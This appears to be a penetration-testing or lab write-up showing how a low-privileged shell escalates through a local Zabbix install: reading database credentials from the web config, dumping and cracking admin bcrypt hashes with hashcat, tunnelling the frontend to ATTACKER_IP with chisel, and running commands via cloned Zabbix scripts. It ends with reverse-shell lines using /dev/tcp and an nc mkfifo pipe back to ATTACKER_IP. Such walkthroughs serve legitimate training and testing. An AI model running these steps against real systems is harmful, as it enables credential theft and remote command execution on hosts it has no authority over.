Zabbix

Zabbix can expose useful local configuration and database credentials from a low-privileged shell. In the observed path, readable Zabbix web config led to the Zabbix database, cracked GUI credentials, local-only frontend access, and script execution as zabbix.

Local Enumeration

Zabbix was running locally:

127.0.0.1:10050  zabbix_agentd
127.0.0.1:10051  zabbix_server

Relevant processes:

/usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
/usr/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf

Useful config paths:

/etc/zabbix/zabbix_agentd.conf
/etc/zabbix/zabbix_server.conf
/etc/zabbix/web/zabbix.conf.php
/usr/share/zabbix/ui/conf/maintenance.inc.php

The Zabbix web config was readable:

cat /etc/zabbix/web/zabbix.conf.php | grep -v "^#"

Useful database settings:

$DB['TYPE']     = 'MYSQL';
$DB['SERVER']   = 'localhost';
$DB['PORT']     = '0';
$DB['DATABASE'] = 'zabbix';
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = 'password123';

Check the server and agent versions from the shell:

zabbix_server -V
zabbix_agentd -V

The output showed:

zabbix_server (Zabbix) 7.2.4
zabbix_agentd (daemon) (Zabbix) 7.2.4

Zabbix Database Credentials

Connect to MySQL and inspect Zabbix users:

mysql -u zabbix -h localhost -p
use zabbix;
select * from users\G

Observed users:

username: Admin
passwd: $2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si.

username: guest
passwd: $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06

Crack the bcrypt hashes with Hashcat mode 3200:

hashcat -a0 -m 3200 hashes /opt/rockyou.txt

Working Zabbix credential:

Admin:password12345

Access Local Zabbix GUI

The Zabbix frontend existed under the Apache site:

http://mage.ai/zabbix/
Zabbix is under maintenance.

The maintenance config explained why browsing remotely showed maintenance mode and why localhost access was needed:

cat /usr/share/zabbix/ui/conf/maintenance.inc.php

<?php
// Maintenance mode.
define('ZBX_DENY_GUI_ACCESS', 1);

// Array of IP addresses, which are allowed to connect to frontend (optional).
$ZBX_GUI_ACCESS_IP_RANGE = array('127.0.0.1');

// Message shown on warning screen (optional).
//$ZBX_GUI_ACCESS_MESSAGE = 'Zabbix is under maintenance.';

The frontend directory was present under /usr/share/zabbix/, and the writable config check showed:

find /usr/share/zabbix/ -writable 2>/dev/null

/usr/share/zabbix/ui/conf/zabbix.conf.php

Use a reverse port forward to browse the local Zabbix GUI:

./chisel server --port 8080 --reverse
/tmp/chisel client ATTACKER_IP:8080 R:80:127.0.0.1:80 &

Browse locally:

http://127.0.0.1/zabbix/

Login with:

Admin:password12345

Zabbix Script Execution

Use the Zabbix GUI to execute commands as zabbix:

Alerts -> Scripts
Clone the default ping script
Change the command to: whoami
Monitoring -> Hosts
Click the host and run the cloned script

Successful command output:

zabbix

Stage a reverse shell script readable by Zabbix:

cp /var/www/html/shell.sh /var/tmp/shell.sh

Edit the script to call back on the listener port:

cat /var/tmp/shell.sh
#!/bin/bash
sh -i >& /dev/tcp/ATTACKER_IP/8000 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 8000 >/tmp/f

Run it through a cloned Zabbix script and catch the shell:

nc -nlvp 8000

Successful shell:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
whoami
zabbix